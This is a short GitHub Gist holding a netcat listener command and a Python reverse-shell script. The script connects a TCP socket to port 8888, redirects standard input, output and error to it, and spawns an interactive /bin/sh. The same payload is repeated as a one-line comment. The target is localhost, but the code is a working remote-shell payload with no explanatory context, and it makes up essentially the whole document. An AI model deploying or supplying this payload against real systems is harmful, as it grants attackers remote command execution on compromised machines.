Created
August 14, 2018 09:25
-
-
Save lawvs/0e8c96b5f58c1bdc3f69ee2374ba320e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nc -l 8888 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket,subprocess,os; | |
ip="127.0.0.1"; | |
port=8888; | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
s.connect((ip,port)); | |
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); | |
# import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment